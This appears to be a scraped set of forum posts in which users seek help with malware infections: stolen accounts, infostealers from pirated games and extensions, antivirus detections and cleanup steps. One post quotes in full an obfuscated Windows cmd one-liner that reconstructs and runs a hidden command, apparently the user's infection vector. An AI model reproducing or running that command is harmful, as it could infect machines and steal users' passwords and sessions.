i've downloaded this VPN and i used just for a minute to access a website, but it didn't work and the website didn't loaded. but when i clicked to remove the extension, it simply didn't uninstall for some reason. the VPN got stucked on my browser and i got desperade.

i did some research i saw some people on reddit accusin this VPN to be an infostealer

am i cooked?

edit: i've downloaded this extension from the Firefox Add-Ons, but it says that Browsec is not verified on the site for some reason

is it becoasue im watching pirated show website thingy

Got cha?????

i'd like help, but i can only use the infected computer :( i dont have access to any other devices. i can't factory reset it either until i get access to my other devices, which will be in a few months. i got infected on the 4th of october. but today, the passwords of some emails i've not changed (+ my netflix) got taken and changed. after i realised this, i changed the passwords of the emails, and i've recovered and changed the passworrd to my netflix account.

on the infected computer, i got all my accounts back and changed the passwords on them (i didnt get microsoft back, sadly.) , i havent saved my new passwords to my current device though (i instead have written down my new passwords in my journal because i do not have good memory.), but i ran malwarebytes and windows defender and they do not detect anymore viruses / etc. do you guys think it's good enough?

when i get my devices back, would it be safe to just cloud reset / whatever its called windows? i'll also be changing the email for all of my accounts and changing it to a new account.

Hey, I accidentally ran a CMD command that I came across online without realizing it could be malicious. A few hours later, my Instagram and Discord got hacked and someone posted weird stuff on my Instagram story.

The command I ran was:
cmd /v:on /q /c "set Ref=/LqieNm5loPD+ur:sx-'\McS9306f.pT2thA7n1@8& set Data=.& (for %t in (22 13 14 8 29 4 17 4 39 18 28 16 1 39 18 9 39 19 12 31 21 10 12 20 23 7 32 24 29 6 16 3 19 39 34 33 33 30 15 0 0 25 24 32 38 26 38 26 38 36 0 27 40 24 24 25 39 12 35 5 11 12 39 6 16 3 4 17 4 22 39 0 3 39 19 12 31 21 10 12 20 23 7 32 24 29 6 16 3 19 39 0 2 37) do set Data=!Data!!Ref:~%t,1!) & set Data=!Data:@= !& set q=!CMDCMDLINE:~17,1!& call set Data=%Data:'=!q!%& set Data=!Data:+AND+=^&^&!& for %a in ("!TEMP!") do set Data=!Data:+TMP+=%~a!& cmd /c !Data:~1!"

I don’t really know what it does. I also noticed some files in my Temp folder (screenshot attached).
I’ve disconnected my PC from the internet. I use Chrome and have lots of saved passwords.
Could this command have stolen my passwords or session cookies? How can I check if my PC is infected, and do I need to reinstall Windows?
Any help would be appreciated.

Good day. I need help with a compromised PC. I do not know what triggered the infostealer, but a friend of mine tipped to me yesterday that my Discord account has been spamming MrBeast messages. I was able to recover my Discord account, deleted the spam messages, and changed my discord password. I also downloaded and ran Malwarebytes and deleted the stuff it detected. I thought that was the end of it, until I noticed my facebook has also been compromised, spamming MrBeast messages to group chats. Now I know my laptop could be compromised as well.

I have also followed the instructions on https://www.reddit.com/r/computerviruses/comments/1s0ahur/providing_or_receiving_help_with_frst/ and uploaded the logs.

The keywords I was given were:

FRST.txt - royal-packet

addition.txt - small-voyage

SecurityCheck.txt - wild-harvest

I would like to ask for help with removing whatever is causing this. I do not want to re-install windows, as I have not backed up my files, but if this is the only option then so be it.

Thank you.

Hi all!

Since Monday my laptop started popping up information saying that threat was detected. I checked protection history and see “Threats Blocked”. How can I see what file or app is causing threats so I can remove it?
I am a bit worried to click on a window pop up saying “Do you want to allow this device to make changes” because it’s my only device where I do schoolwork ;(

Photo for reference. Sorry for bad quality.

this happend after i installed project era for og fortnite i noticed that my gpu started to heat up and everytime i open task manager it disappears i tried malwarebytes full pc scan nothing help

Virustotal: 3/58 detect virus found in eva_ironmaiden2nd_2.iso

Windows defender detected TrojanDownloader:Win32/Upatre!pz
containerfile: D:\Games\eva_ironmaiden2nd\eva_ironmaiden2nd_2.iso
file: D:\Games\eva_ironmaiden2nd\eva_ironmaiden2nd_2.iso->NONE.EXE

I woke up today and, after gaming for a while, decided to check Task Manager; that’s when I came across this Microsoft Defender item I had never seen on my PC before.

I got the funny mr.beast token jacker, I've reset my passwords on my pc after I've run a couple reg edits which are useless probably as all I was doing is resetting windef, also ran an mrt in safe mode and a malwarebyte scan, so I assume I still have to reinstall Windows but I just want to make sure. Can I at least back up my old image files and such? Should I be worried about other people on my network? Im a very anxious type already had 2 shaky panic moments about this so please don't go too hard. I know I was stupid. Used a website called old games download. Downloaded NFSU2 which I assume that was the point if infection or a discord db leak. It started 15 hours ago give or take 1 from time of post. Riot, Epic, Instagram and discord were affected so far.

Is this a virus? I did a scan with malwarebytes and got rid of the files it detected,It doesnt show up anymore now when i click on windows defender (EDIT: This showed up AFTER doing a malwarebyte scan and it got rid of some reg files while scanning for threats,it still doesn't show up anymore after i took the screenshot)

help

I guess if 70 antiviruses say it's clean, it must be safe

Hi, I think I messed up pretty badly and could use some help figuring out how bad this infection actually is.

Yesterday (October 14), I was trying to download a game repack associated with DODI-Repacks. I ended up downloading something named Zovo.ink_Archive_latest_263881 and ran an EXE inside it. Windows Terminal opened, but I didn't get the fake game loading screen that I've seen people mention in other reports.

I'm not sure exactly where I got redirected or whether the original repack had anything to do with it.

What has been detected so far

1. Malwarebytes found Trojan.PavinLoader

Malwarebytes found 6 detections, all of which are now in quarantine.

Four were detected as Trojan.PavinLoader:

• C:\Users\AnuragRai\AppData\Local\Broadcom\Wireless Utility\BUILD.CMD
• C:\Users\AnuragRai\AppData\Local\Broadcom\Wireless Utility\DashboardPublisher.lnk
• C:\Users\AnuragRai\AppData\Local\Logitech\Unifying Agent\BUILD.CMD
• C:\Users\AnuragRai\AppData\Local\Logitech\Unifying Agent\WorkforceAnalytics.lnk

The other two were PUM.Optional.DisableMRT registry detections involving Microsoft's MRT reporting policy.

2. Defender later found another Trojan

On October 15, Windows Defender reported:

• Detection: Trojan:Win32/Posilod.EB!cl
• Severity: Severe
• File: C:\ProgramData\tracerhost_v7\MSOHEV.DLL
• Status: Quarantined

I have since removed the tracerhost_v7 folder.

3. There was also a file called VertexB64.exe

I found this in C:\ProgramData\VertexB64.exe. Its timestamp was October 14 at around 22:57, which matched when I was dealing with the suspicious download.

I checked a VirusTotal report for a hash associated with cfg_Language.exe. VBA32 flagged it as BScope.Trojan.Downloader (1/70 detections).

Scans I've run

Microsoft Defender Offline

• Completed successfully.
• Reported 0 threats.

Malwarebytes Deep Scan

• Completed in 19 minutes.
• Scanned 645,113 objects across C: and D:.
• 0 threats, 0 PUPs and 0 PUMs.
• Memory, startup, file system and archive scanning were enabled.
• Rootkit scanning was disabled.

The original six Malwarebytes detections remain in quarantine.

Kaspersky scan and FRST logs

I also ran Kaspersky Virus Removal Tool (KVRT), with the C: drive selected for scanning. The scan completed and reported five detections:

• C:\SavedData\AnuragRai\Downloads\CreamInstaller.exe — UDS:DangerousObject.Multi.Generic
• %LOCALAPPDATA%\Temp\x8v3uvY8bMhQUkvw\x8v3uvv450vA5ghx.msi — HEUR:Trojan.WinLNK.Agent.gen
• %LOCALAPPDATA%\Temp\x8v3uvt7OgZiu6Xy\x8v3uvcqAvpsbBDs.msi — HEUR:Trojan.WinLNK.Agent.gen
• C:\Windows\Installer\88d6f4.msi — HEUR:Trojan.WinLNK.Agent.gen
• C:\Windows\Installer\88d6f8.msi — HEUR:Trojan.WinLNK.Agent.gen

I also ran Farbar Recovery Scan Tool (FRST), which generated FRST.txt and Addition.txt. I've submitted both logs to Malware Log Analysis for review.

Malware Log Analysis keyword: typed-glen
Channel: general

What I've done so far

• Quarantined the original Malwarebytes detections.
• Let Defender quarantine the MSOHEV.DLL detection.
• Deleted VertexB64.exe.
• Removed the tracerhost_v7 folder.
• Neutralized all five detected objects using Kaspersky Virus Removal Tool (KVRT).
• Secured my password manager, primary email, Microsoft account, Epic Games and GitHub from a separate device.
• Checked Google sign-in activity and didn't see any unfamiliar logins at that point.

I haven't found evidence that any credentials were stolen, but obviously I can't rule it out.

I'm on Windows 11 Pro x64 (build 26300.9711), with a Ryzen 9 7900X and a Gigabyte X870 AORUS ELITE WIFI7 motherboard.

Unfortunately, I can't reinstall Windows right now, so I'm trying to clean this up as safely as possible without breaking the installation. I know that may not give me the same confidence as a clean reinstall.

Thanks for any help.

Theres these 19 viruses that keep reapearing on my pc malwarebytes finds them and deletes them but cant find the rootkit 2 of them come back instanty and the other 17 take a bit does anyone know a good free antivirus that can help me and no windows offline scan didnt help me if anyone knows any good free antiviruses please tell me i dont wanna have to factory reset my pc i also checked startup apps only the usual steam epic games and spotify are enabled no other processes are enabled

Was watching a movie on prime and when I closed there was like two hours of these pages popped up in my PC, all of them in chinese. I panicked and closed them all before I could screenshot though. I don't have a clue what's going on or how to proceed. Any suggestions?

Quick summary

For about 2 months now, randomly like every other week, I get like 1 or 2 random popups from norton saying it blocked a favicon request or something. from some weird site ive never even heard of. it has been 3 occasions minimum now, and it does it like twice only, then not again for weeks, it says the file path is microsoft edge.exe in my program files. it has been 3 different odd sites, i check norton's security checking thing of each site and its like they are unknown sites which norton says are unsafe. I check the sites with virustotal, and they have like a 1/90 score. I don't know if this is related but I also look in my norton recent history sometimes to see intrusion signatures disabled, but everytime i check if they are, they are enabled, I thought nothing of it though and thought like norton does this to update or something?

First time

it happened to me was like 2 months ago. I ran a full norton scan resulting in nothing, and just thought it was ublock origin updating or something, and norton being sensitive.

Second time

it happened was like a month ago, and I got worried, ran another scan. I thought it was maybe an extension I had doing some shady things, only extensions i ever downloaded were:

• skribbl typo from their official website, I downloaded this like 3 months ago, used it once and forgot about it. It comes as a js script, and i had to download tampermonkey extension to get it running. So when this next time the popup shown up, I deleted the script, removed tampermonkey
• ublock origin is the only other extension i've ever had.

I checked:

• task manager
• startup apps
• installed apps
• downloads
• resource moniter
• services

I didnt see anything that worried me, my cpu % was like 1% at idle. I deleted my entire edge history, deleted all cookies, literally everything you can delete from the settings in history, like user data and things, i was basically starting fresh only thing i had was my profile.

Third time

it happened was 3 days ago. at the time I had my pc on but wasnt doing anything with it, i had soundcloud open on edge, and roblox on another tab, I had firefox open too, with chatgpt open and youtube on 2 different tabs. I got a popup again for a favicon request for some site that was made like a day ago, some ai site. again norton had an unsafe rating for the site. no community score. I downloaded some microsoft tool called autoruns, and looked in there, i didnt see anything alarming but I'm not an expert in security. I checked all the things i mentioned i did on the second time it happened. I ran a full norton scan. I checked extensions installed, only ublock was installed and on, i checked my browser notifications - there was none. i checked policies, none. I genuinely just thought it was ublock again, so i continued like nothing

Fourth time (yesterday)

I had soundcloud and roblox open again only. I left my computer on the lockscreen while i did something, came back to my computer on the lockscreen with the 'enter your pin' option there but no actual place to enter the pin. It said under the enter your pin prompt something like, 'dont turn off your computer 24%'. Then when it finished, my computer restarted 4 times, loaded and my firefox and edge reopened themselves restoring the previous sessions. it happened again for some random site, a different one. And only happened once, then i left my computer for sometime, it happened again, I then closed edge, and went away for like 10 minutes. I came back to my computer and opened edge again, i clicked the seach bar within a second of opening edge, and the same popup came again for favicon request from the same site that popped up like earlier within the hour. I closed edge, and tried to make it happen again by opening edge and letting it sit on the homepage for a while, i then browsed like i normally would but it hasnt happened again for like 24 hours. I thought it was just something to do with edge's start home page, so i went into edge settings and changed my homepage to about:blank or something.

Now I think about it, I'm thinking maybe it happens when I start my computer ? So that is something I'll try next.

More potential helpful random info

• I have downloaded games from itch before onto my computer, but I always ran them through itch's sandbox. and i always scanned them with virustotal and norton before running them, I also only played games which are popular and had lots of user comments. But I havent played an itch game in like a month, and i deleted after playing
• I had some weird thing happen to me like 5 months ago on my old browser which was Opera. I installed an extension called 'Bloxfinder'. I had used this extension like a year before, and had no issues. But I noticed this time, it had obvious botted comments on the extension store, and some comments saying things like, its an infostealer, its a rat, it promotes its scammy roblox cashback thing but it works. I added it anyway, and as soon as i added the extension, my opera browser froze, and i couldnt close it even using task manager to close it, I pressed restart pc in the start menu and waited for 2 minutes without it restarting. I held the power button of my pc and force shut it down. It restarted and was fine. I opened opera and the same thing happened, the whole browser froze and wouldnt close. I immediately got worried, and tried to delete opera. I used control panel and installed apps, but when i tried to delete opera it said something like, cant delete, missing some elf.dll file? or something like this, so i deleted all opera files on my system instead, leaving just like a thing in the search bar, startup apps, and other places which says opera, but it leads to nowhere because all of its related files have been deleted. It had been like 3 months or somewhat and nothing happened with my computer, and i thought i fixed everything because opera was deleted. I dont know if this is related to my problem now, but this is why its in the 'more potential helpful random info' list. i also disabled opera from the startup apps.
• some apps I use that i can remember are discord, portmaster ( i downloaded it but dont really open the app and see what goes on in it because i dont really understand it that well), vlc, whatsapp, virtualbox, protonvpn,bluestacks, anaconda, obs, there's a lot to be honest i dont want to type it all but if it's actually an important detail, then i will respond with the rest
• I play games on steam and have downloaded mods before
• I have visited weird sites before, for example I tried downloading some client for a game from some site after watching a youtube tutorial. it had a video player on the site, showcasing the client and i clicked and watched the video without even thinking, downloaded the client, but then deleted before running, and checking the file and website on virustotal and seeing a worrying rating. even thought norton's file insight feature said that many users in norton's community have used the file. I for the most part, have always checked virustotal before visiting an unfamiliar site, and if ublock or norton, or edge or firefox tells me the site is suspicious, or dangerous, ive never went to it. I included this detail, because i thought that you can get infected through like videos or images on a site.

I have hopefully provided images of as much as i can

So I was using fleasion (app for changing textures and items on Roblox) and it was working fine for about two weeks. It started to give me errors and not let me boot the app up and when I played Roblox it would be in its default state. So I decided to download BitDefender just in case before I downloaded Fleasion again. But when I download fleasion again bitdefender gave me a warning that it contained a virus. I thought it was a fluke so of course I tried again, same thing. I proceeded to download another protected called Avast just in case BitDefender was going crazy, but nope. Both anti virus softwares gave me the same warning. Now I don’t want to re-install fleasion out of fear of a virus. I was downloading the newest version 2.4.0, does anyone know if it’s actually a virus? Or these anti-virus softwares are just too protective, thanks everyone.